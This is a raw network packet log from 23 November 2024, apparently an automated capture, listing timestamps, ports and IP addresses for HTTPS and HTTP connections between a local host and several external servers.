Nov 23, 2024 19:52:16.368078947 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:16.372432947 CET	49720	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:16.372450113 CET	443	49720	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:16.417728901 CET	49673	443	192.168.2.6	173.222.162.64
Nov 23, 2024 19:52:16.417738914 CET	49674	443	192.168.2.6	173.222.162.64
Nov 23, 2024 19:52:17.011470079 CET	49672	443	192.168.2.6	173.222.162.64
Nov 23, 2024 19:52:17.407418966 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.409486055 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.426454067 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.426502943 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.426980019 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.426987886 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.427237988 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.427253008 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.427577972 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.427582979 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.471652031 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.476552010 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.576392889 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.620865107 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.650070906 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.650106907 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.655036926 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.655045986 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.659740925 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.659754992 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.664518118 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.664524078 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.675024986 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.675049067 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.680026054 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.680041075 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.856451035 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.856522083 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.856808901 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.858342886 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.858417034 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.858490944 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.861641884 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.861675978 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.861690998 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.861699104 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.863234997 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.863234997 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.863255024 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.863265038 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.866370916 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.866403103 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.866527081 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.868140936 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.868159056 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.870305061 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.870348930 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:17.870436907 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.870623112 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:17.870637894 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.046056986 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.046098948 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:18.046190023 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.048031092 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.048070908 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:18.048155069 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.053173065 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.053183079 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:18.053555012 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.055438995 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.055457115 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:18.055640936 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.084383011 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.084424019 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:18.084487915 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.105834961 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.105866909 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:18.105964899 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.106014967 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:18.106072903 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.106106043 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:18.115240097 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.115256071 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:18.115377903 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:18.115391016 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:18.120605946 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.120631933 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.120692015 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.120712042 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.121063948 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.121078968 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.121085882 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.121201038 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.121228933 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.121288061 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.123807907 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.123847961 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.123917103 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.123949051 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.123997927 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.124653101 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.124663115 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.124691010 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.124844074 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.124876976 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.124882936 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.124914885 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.124958038 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.124975920 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.125428915 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.125441074 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.126991987 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.127022028 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.127089024 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.127180099 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.127197027 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.166297913 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.166322947 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.166414022 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.166450977 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.166500092 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.166702032 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.166709900 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.166754007 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.166886091 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.166914940 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.166961908 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.204128981 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.204154968 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:18.204262972 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.220078945 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:18.220088005 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:19.057415962 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:19.177038908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:19.177144051 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:19.178025961 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:19.264035940 CET	443	49707	173.222.162.64	192.168.2.6
Nov 23, 2024 19:52:19.264130116 CET	49707	443	192.168.2.6	173.222.162.64
Nov 23, 2024 19:52:19.300030947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:19.698801041 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:19.699497938 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:19.699522018 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:19.700062990 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:19.700068951 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:19.701087952 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:19.701427937 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:19.701467991 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:19.701834917 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:19.701843977 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:19.741502047 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.741588116 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.762583017 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.762696028 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.768932104 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.768997908 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.790096045 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.790163994 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.807332039 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.807356119 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.807576895 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.807583094 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.807605982 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.807650089 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.807851076 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.807862997 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.807998896 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.808007002 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.808067083 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.808099985 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.808109045 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.808150053 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.808341980 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.808401108 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.808526039 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.808973074 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.808985949 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.809231997 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.809360027 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.809650898 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:19.851351976 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.855329990 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:19.971456051 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:19.972145081 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:19.972162962 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:19.972588062 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:19.972593069 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.006056070 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.006623030 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.006653070 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.007220030 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.007226944 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.013091087 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.013184071 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.041042089 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.044414043 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.044425011 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.045073986 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.045078993 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.163580894 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.163646936 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.163731098 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.164110899 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.164129972 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.164140940 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.164145947 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.169384956 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.169426918 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.169549942 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.170146942 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.170159101 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.172658920 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.172735929 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.172806978 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.173120975 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.173120975 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.173144102 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.173156977 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.175848007 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.175921917 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.176035881 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.176845074 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.176877022 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.230326891 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.230350971 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.230369091 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.230423927 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.230449915 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.230483055 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.230510950 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.256000042 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.256025076 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.256042957 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.256057978 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.256071091 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.256087065 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.256151915 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.257894993 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.257945061 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.257963896 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.258014917 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.258028984 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.258050919 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.258085012 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.393805027 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.393826008 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.393901110 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.393920898 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.394202948 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.420555115 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.420628071 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.420669079 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.421231985 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.421231985 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.421252966 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.421262026 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.422127962 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.422137022 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.422200918 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.422211885 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.422257900 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.423063993 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.423086882 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.423139095 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.423171997 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.423202038 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.425551891 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.438258886 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.438290119 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.438365936 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.438488960 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.438498020 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.438687086 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.438750029 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.454296112 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.454377890 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.454448938 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.454567909 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.454592943 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.454605103 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.454611063 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.455663919 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.455688953 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.455728054 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.455735922 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.455784082 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.455784082 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.457540989 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.457566023 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.457606077 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.457613945 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.457643032 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.457662106 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.471635103 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.471653938 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.471715927 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.471735954 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.471766949 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.473541975 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.483401060 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.483436108 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.483517885 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.483633995 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.483648062 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.490519047 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.490576029 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.490633965 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.491678953 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.491678953 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.491689920 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.491698027 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.508457899 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.508482933 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.508555889 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.508693933 CET	49741	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:20.508704901 CET	443	49741	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:20.510371923 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.510401964 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.510447979 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.510456085 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.510497093 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.510514975 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.510539055 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.510559082 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.510612965 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.510620117 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.510632038 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.513586044 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.532171011 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:20.533584118 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:20.566831112 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:20.602341890 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.602364063 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.602437973 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.602480888 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.602504015 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.605551004 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.615328074 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.615427017 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.615439892 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.617558002 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.633373022 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.633380890 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:20.633455992 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:20.633462906 CET	443	49730	150.171.27.10	192.168.2.6
